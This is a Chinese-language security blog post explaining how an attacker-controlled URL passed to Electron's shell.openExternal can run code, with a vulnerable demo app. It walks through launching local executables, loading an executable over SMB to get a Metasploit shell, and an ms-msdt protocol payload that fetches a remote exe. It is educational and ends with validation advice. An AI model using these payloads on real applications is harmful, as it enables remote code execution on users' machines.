长亭百川云 - 文章详情

shell.openExternal | Electron 安全

NOP Team

56

2024-07-13

0x01 简介

shell.openExternalshell 模块的一个方法,允许使用操作系统桌面原生程序打开一个 URI

`shell.openExternal(url[, options])   `

options

  • activate

    MacOS独有,设置为 true 会将打开的应用程序置于前台

  • workingDirectory

    Window独有,设置工作目录

  • logUsage

    Window独有,指示用户启动的启动,可跟踪常用程序和其他行为

如果大家用过 open xxx 这类命令就很容易理解 shell.openExternal ,open 后面跟的 URI 文件的是什么类型就用解析对应类型的程序打开该文件,shell.openExternal 就是这个意思

所以 shell.openExternal 经常被用来在用户浏览器里打开网页,而不是在程序中直接渲染网页,但是如果 url 参数是攻击者可以控制的,那么到底会执行什么,用什么来执行就取决于系统绑定情况了

公众号开启了留言功能,欢迎大家留言讨论~

这篇文章也提供了 PDF 版本及 Github ,见文末


  • 0x01 简介

  • 0x02 效果展示

  • 0x03 攻击面介绍

  • 1. 打开可执行文件

  • 2. 远程文件

  • 3. 其他系统注册的协议

  • 0x04 漏洞案例

  • 0x05 总结

  • 0x06 PDF 版 & Github

  • 往期文章


0x02 效果展示

我们假设让用户输入一个 url ,之后传递给主进程,让主进程使用 shell.openExternal 打开

主进程 main.js

`// Modules to control application life and create native browser window   const { app, BrowserWindow, ipcMain, shell } = require('electron')   const path = require('node:path')      function createWindow () {     // Create the browser window.     const mainWindow = new BrowserWindow({       width: 1400,       height: 800,       webPreferences: {         preload: path.join(__dirname, 'preload.js')       }     })        // and load the index.html of the app.     mainWindow.loadFile('index.html')        // Open the DevTools.     mainWindow.webContents.openDevTools()   }      app.whenReady().then(() => {     createWindow()        ipcMain.handle('open-url', (event, url) => {       // 使用shell.openExternal打开网址       shell.openExternal(url);     });        app.on('activate', function () {       if (BrowserWindow.getAllWindows().length === 0) createWindow()     })   })      app.on('window-all-closed', function () {     if (process.platform !== 'darwin') app.quit()   })   `

渲染页面 index.html

`<!DOCTYPE html>   <html>   <head>     <title>Open URL Experiment</title>   </head>   <body>     <input type="text" id="urlInput" placeholder="Enter a URL">     <button id="openButton">Open in Browser</button>        <script>    document.getElementById('openButton').addEventListener('click', function() {         const url = document.getElementById('urlInput').value;         if (url) {           // console.log(url)           // 发送网址到主进程           window.myAPI.open_url(url);         } else {           alert('Please enter a valid URL');         }       });  </script>   </body>   </html>   `

预加载脚本 preload.js

`const { contextBridge, ipcRenderer } = require('electron')      contextBridge.exposeInMainWorld('myAPI', {      open_url: (url) => {       //  console.log(url)        ipcRenderer.invoke('open-url', url)      }   })   `

在输入框中输入 https://www.baidu.com/ 并点击 Open in Browser 按钮

成功在浏览器中打开 https://www.baidu.com/

0x03 攻击面介绍

shell.openExternal 的攻击面主要在于攻击者如果能够控制 url 参数内容,可能会执行一些其他的结果

1. 打开可执行文件

Windows 11

直接输入二进制可执行文件地址可以直接执行二进制可执行文件,但是不支持传递参数

在 Windows 中,路径后加上 ?xxxx 是不会影响定位文件的,但是后面的参数也没有传递给要执行的文件

MacOS 13.6

Deepin Linux


当传递二进制可执行文件的地址给 url 参数时,Windows 和 MacOS 平台都是直接运行二进制可执行文件,而 Linux 默认不会执行

由于无法传递参数,这导致直接打开二进制程序这事变得有些鸡肋,杀伤力小了很多,测试了一些在文件名、路径名等地方进行命令执行的方式,也不是很奏效

2. 远程文件

如果执行本地文件,那就只能先把恶意文件上传到目标电脑上,但 Electron 使用者大部分都是终端,也没有开放什么 web 服务之类的,上传到电脑上并且知道路径并不容易,于是大家开始思考,是否可以远程执行文件

远程文件执行主要以 smbftpsftpwebdivwebdavs 等协议为主,建议大家查看参考文档详细了解,接下来就以 smb协议为例

Windows 11

Windows 可以通过 SMB 协议远程加载文件进行执行

`shell.openExternal('\\\\live.sysinternals.com\\tools\\procmon.exe');   `

我们尝试在 Windows 程序中测试

确实可以远程加载文件执行,只不过会有提示,这就是考验用户安全意识的时候了,相信企业不会想把安全右移到用户侧的

我们拿 MSF 试一下

创建 smb 临时目录

修改 samba 服务配置文件,添加我们的共享信息

启动/重启 samba服务

开启 MSF 监听

在程序侧输入 \\192.168.31.83\public\test.exe

点击按钮测试

模拟用户安全意思薄弱,点击了运行

成功获取到 shell

MacOS 13.6

点击按钮

这就更鸡肋了,除非用户安全意识极度薄弱,点击连接后

还要再点击客人,用户可以是安全意识薄弱的,但很难在安全意识薄弱的同时,还很懂 smb 这类服务怎么用,所以即使用户点击了客人并连接以后

会跳出这个窗口,并不会执行,这个步骤就是连接 smb 服务器,此时我们再次回到程序,再次点击按钮

还是仅仅会打开目录,并不会执行,即使会执行,还会验证开发者等一系列安全措施

Deepin Linux

Deepin Linux 上,我们尝试执行 .desktop 文件,直接从 Deepin Linux 桌面上拿一个过来

Deepin Linux 上输入我们的 smb 链接

执行失败,显示指定的位置未挂载,当我显式地执行本地 .desktop 文件时

Deepin Linux 默认是用文本编辑器来打开 .desktop 文件的,其他 Linux 就需要进一步测试了

参考文档

https://benjamin-altpeter.de/shell-openexternal-dangers/

3. 其他系统注册的协议

除了 file://smb:// 以外,系统注册的其他协议也是可以被利用的,参考文章中的作者还给出了在 Windows 上的几个案例

  • ms-msdt:  Microsoft支持诊断工具

  • search-ms:  打开搜索功能

  • jnlp: 对于存在 Java 环境可以使用的协议

  • ms-officecmd: Microsoft Office UWP 应用程序用于启动其他 Office 桌面应用程序的方案

我们测试一下第一个吧

`ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\live.sysinternals.com\tools\procmon.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO"   `

我们测试一下,是否可以在 Windows 系统上远程加载 exe 文件

在 Windows 11 上已经不可用了,似乎发生了移动,但显然这个协议是仍然保留了的,是不是后期会修改不得而知

还要注意的是那些自定义协议,可能会触发更多有危害的效果

参考文章

https://benjamin-altpeter.de/shell-openexternal-dangers/

https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8

https://positive.security/blog/ms-officecmd-rce

0x04 漏洞案例

https://hackerone.com/reports/1781102

https://github.com/tutao/tutanota/security/advisories/GHSA-mxgj-pq62-f644

https://user-images.githubusercontent.com/46137338/270564886-7a0389d3-f9ef-44e1-9f5e-57ccc72dcaa8.mp4

https://huntr.com/bounties/b242e806-fc8c-41c0-aad7-e0c9c37ecdee

https://www.exploit-db.com/exploits/51765

漏洞案例涉及 drawioRocket.Chat-DesktoptutanotaWebCatalog

0x05 总结

shell.openExternal  通常被用来调用用户浏览器来打开 http(s) 的链接,调用形式为

`shell.openExternal(url[, options])   `

如果 url 是用户可控并且没有做有效验证,可能会导致攻击者利用其发起其他协议的请求,例如 smbwebdivsftp 等,进而导致远程代码执行

甚至还可以配合一些漏洞进行组合利用,因此开发者应该严格验证 url 参数的内容,很关键的一点是,验证过程不可以被攻击者篡改,在之前预加载脚本的文章中,我们介绍过通过关闭上下文隔离,使用原型污染的方式修改了 url 参数的验证过程,导致可以执行任意协议的请求

因此,除了对 url 参数做有效验证以外,还有保证验证过程不会被篡改

0x06 PDF 版 & Github

PDF

https://pan.baidu.com/s/1O4JuH5BxRJ\_4GKk3aVE3FQ?pwd=br9t

Github

https://github.com/Just-Hack-For-Fun/Electron-Security

往期文章

有态度,不苟同

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2